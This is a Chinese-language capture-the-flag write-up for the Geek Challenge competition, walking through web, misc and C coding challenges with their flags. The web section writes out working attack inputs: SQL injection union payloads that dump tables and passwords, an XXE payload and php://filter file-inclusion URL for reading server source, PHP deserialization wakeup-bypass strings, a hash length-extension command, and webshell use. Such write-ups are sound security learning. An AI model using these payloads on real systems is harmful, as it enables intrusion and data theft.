极客大挑战wp

 

image1

第一题:

撸猫题,不多说,get传参cat=dog

http://118.25.14.40:8110/?cat=dog

得到flag: Syc{I_actu4l1y_Lik3_d0gs} 

第二题:

虽然羽哥让用的是中国菜刀,但是我用的是蚁剑

自带一句话木马,密码刚好就是syc

getshell以后,在根目录里找到flag文件

时间匆忙不复现了

第三题:

burpsuite

很简单,导进burp extender拿到flag

里面还有个反编译的小彩蛋

flag:Syc{BurpExtender_Are_guns_F0r_Hack3rs}

第四题,肖文清算卦

一开始以为是写脚本比速度,实际上是条件竞争

用burp疯狂intruder输出(10线程足以)使程序忙碌,另一方面发包,获取flag

你就能拿到flag:Syc{You-4re-S0-f4st}

第五题:easysql

布尔注入:1’ or ‘a’=’a

进去就拿到了flag: Syc{sqL_inj3cti0n_1s_re4lly_fUn}

第六题 lovelysql

找数据库-1’ union select 1,3,database()#(找着玩,是geek)

爆表名:-1’ union select 1,database(),group_concat(TABLE_NAME) from information_schema.tables where table_schema=database()#

geekuser,l0ve1ysq1

爆列名:-1’ union select 1,7,group_concat(column_name) from information_schema.columns where table_name=’l0ve1ysq1’ #

然后拿出flag:-1’ union select 1,2,group_concat(password) from l0ve1ysq1 #

Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,Syc{Ohhh_y0u_foUnd_m3},di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker'

关键在于赵师傅想要女朋友,羽哥很难,刘壮是人,颜师傅有八块腹肌,严师傅的猫薄荷,三叶草有散打黑客:

Syc{Ohhh_y0u_foUnd_m3}什么的完全不重要

第六题:

机器人性感黄阿姨在线聊天

好多表情包,好多不为人知的小秘密。

刚点进去抓包,叫我问他拿flag

我真要,他又不给我,说我是什么guest

然后我就抓包变成

{“root”:{“name”:”admin”,”request”:”flag”}}

结果是:admin也不给(太傲娇了)

 admin也不行! //if($name==md5($flag)){flag in ...} 

然后我就试了几个php弱类型绕过,都失败了。

0,不行,true,表示我too young too simple too naive

就爆破咯,爆破md5前几个数值达到弱类型绕过

burp爆破成357的时候,回显

Congratulations! flag in ./_f14g_Is_Here_.php ,try ro read it!

然后写payload:因为只有request是flag,name不是admin的时候有回显。所以说:

<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=./_f14g_Is_Here_.php">
]>
<note>
  <name>&name;</name>
  <request>flag</request>
</note>

文件改成xml,因为是相对路径,所以说用filter拿

就返回base64编码,解码以后:

MY%AM5D7RO%T$AN1[$6O]9H

第七题:babysql:

和前面那个easysql的区别也就是过滤几个关键字比如:

union

select

from

where

双写以后就可以防止过滤

差不多,就不一点点写了(其实是因为具体忘了)

第八题:

按了f12找了下元素,发现最后几个字:学术氛围有问题

氛围是超链接:http://118.25.14.40:8108/Secret.php

然后里面改http headers就行了:什么

Referer 改成www.Sycsecret.com啦什么的

user-agent改Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Syclover

加一个XFF之类

第九题:蒋璐源学姐的秘密

审计html:/Archive_room.php里有东西

里面说我把东西放这里面了,点开,没东西

果断抓包,用repeater发个包

里面有个 secr3t.php

这个用机器人里面一样的php://fitler方法,导出base64然后编码回来

http://118.25.14.40:8106/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

出来这么一坨玩意儿:

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ1N5Y3tKaWFuZ18xdVl1YW5fTm9fSX0nOwogICAgICAgICAgICAgICAgJHNlY3JldCA9ICdqaUFuZ19MdXl1YW5fdzRudHNfYV9nMXJJZnJpM25kJwogICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgIDwvYm9keT4KCjwvaHRtbD4K  

然后base64变回去, 你就会发现蒋璐源想要个女朋友

$flag = 'Syc{Jiang_1uYuan_No_I}';

第十题:反序列化:

写个php:

<?php 
class student
{
	public $score = 10000;
    public function __destruct()
    {
		$this->score==10000;
	}
}
$b = new student(10000);
$a = serialize($b);
echo $a;
?> 

出payload:

O:7:"student":1:{s:5:"score";i:10000;} 

然后get传参拿到flag

Syc{F4n-Xu-L4i-Hu4-Ha-Ha-Ha} 反序列化哈哈哈

第十一题 又来一只猫

先是文件提取:拿御剑扫一下看见一个www.zip

下载一下,拿到一个三个php

flag.php里显然是假flag

index.php是在接收一个get传参select

然后class里面是主要部分:接收一个反序列化的对象并且进行对比

关键在于绕过wakeup()函数

反序列化部分很简单

 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";} 

关键在于要弄个漏洞出来:

O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;s:3:”100”;}

%00做私有化标志,2改成3是弄一个找不到的对象给判定绕过wakeup函数

就拿到了flag:Syc{H31lo_4dmiN_r3al_f14g}

第十二题: 你有初恋吗:你变心了吗

哈希长度扩展攻击

题目已知:Heart(md5($adore.syclover))=6a1ce5f4dc83320710006a786ac82c1

$adore是十五位,未知

只要$_COOKIE[‘Heart’] === md5($adore. urldecode($now))

关键在于构造 {secret   data   attacker_controlled_data}的哈希值

就会出flag,所以说我用虚拟机整了个hashpump

payload: hashpump -s 6a1ce5f4dc83320710006a786ac82c1 -d syclover -k 15 -a pcat

就出了

 77123c8c671874dcfd43cc6c80c511d0
syclover\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00pcat 

吧\x改写为% 分别放进heart和lover就得到了flag(do you love me?)

misc

第一题:散打黑客的压缩包

拿压缩软件爆破机爆破就完事儿了

密码里有小惊喜:utf-8编码以后发现散打黑客的秘密是10ve

第二题:是谁杀了谁:

点开生成一个hp文件,里面藏着flag(misc出题人脑洞好大)

第三题:RPG太有趣了:

打通获得flag,

image-20191111004439864

第四题,鲱鱼罐头:

先是伪加密,winhex中:

压缩源文件数据区的全局加密应当为00 00 且压缩源文件目录区的全局方式位标记应当为09 00

把全局方式标记改成 00 00即可

打开以后拿到一个jpg,文件备注是鲱鱼像死鱼

谷歌搜索deadfish ,github里刚好有个项目是,从jpg里能找到特征明显的死鱼编码

decode拿到flag

 Syc{SURSTR0mming_is_deLici0us} 

鲱鱼罐头很美味哦~

code

第一题:勇者斗恶龙:

不多说,直接上源码:

#include<stdio.h>
#include<stdlib.h>
int a[4][4];
int amin[3]={99999,99999,99999};
int max(int a,int b)
{
    if(a>b)
    {
        return a;
    }
    else 
        return b;
}
int min(int a,int b)
{
    if(a<b)
    {
        return a;
    }
    else 
        return b;
}
int main()
{
    for(int i=0;i<3;i++)
    {
        for(int j=0;j<3;j++)
            scanf("%d",&a[i][j]);
    }
    
    for(int i=0;i<3;i++)
        for(int j=0;j<3;j++)
            {
                if(a[i][j]<amin[i])
                {
                    amin[i]=a[i][j];
                }
            }
            int flag=0;
            int ans=0;
   for(int i=0;i<3;i++)
   {
        for(int j=0;j<3;j++)
            if(a[i][j]<=0)
            {
            printf("The monster is too weak...");
            return 0;
            }
   }
    
    for(int i=0;i<3;i++)
    {
        for(int j=0;j<3;j++)
        {
            for(int k=0;k<3;k++)
                if(a[0][i]+a[1][j]+a[2][k]>=60&&a[0][i]+a[1][j]+a[2][k]<100)
                {
                    flag=1;
                    ans=max(ans,100-a[0][i]-a[1][j]-a[2][k]);
                }
        }
    }
    if(flag)
    {
        printf("The brave still has %dHP left to face the BOSS",ans);
    }
    else
    {
        if(amin[0]+amin[1]+amin[2]<60)
        {
            printf("why don't give the brave a chance to level up...");
        }
        else
        {
            printf("The brave died on the way to leveling...");
        }
    }
    return 0;
}
Syc{y0u are good at C}